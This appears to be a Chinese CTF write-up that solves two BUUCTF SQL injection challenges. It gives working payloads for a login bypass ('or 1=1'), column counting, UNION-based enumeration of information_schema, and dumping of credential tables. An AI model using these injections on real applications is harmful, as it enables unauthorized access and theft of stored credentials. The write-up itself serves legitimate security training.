Sql注入 buuctf刷题1

[极客大挑战 2019]EasySQL

试一下万能密码登录。用户名输入 1' or 1=1# 密码随意输入,登录后发现flag。

[极客大挑战 2019]LoveSQL(万能密码登录)

首先使用万能密码登录,1' or 1=1;

Sql注入 buuctf刷题1_第1张图片

得到了一个用户名admin和随机密码。

查询字段

admin' order by 3;

admin' order by 4;

Sql注入 buuctf刷题1_第2张图片

可知共3个字段。用union查询测试注入点(回显点位):

-1' union select 1,2,3#    

Sql注入 buuctf刷题1_第3张图片

 发现回显点位是2,3.

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #    

Sql注入 buuctf刷题1_第4张图片

找到数据库表的名称位,geekuser,l0ve1ysq1。

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="l0ve1ysq1"#

Sql注入 buuctf刷题1_第5张图片

查询到l0ve1ysq1表里的字段,flag可能藏在其中,之后联合查询其中数据。

-1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

Sql注入 buuctf刷题1_第6张图片

查看数据知,flag藏在id=16的位置。

-1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1 where id =16#

Sql注入 buuctf刷题1_第7张图片

得到flag:flag{3f71aee8-7984-4cb6-982a-90c59935a8d3}。

你可能感兴趣的:(sql,数据库,database)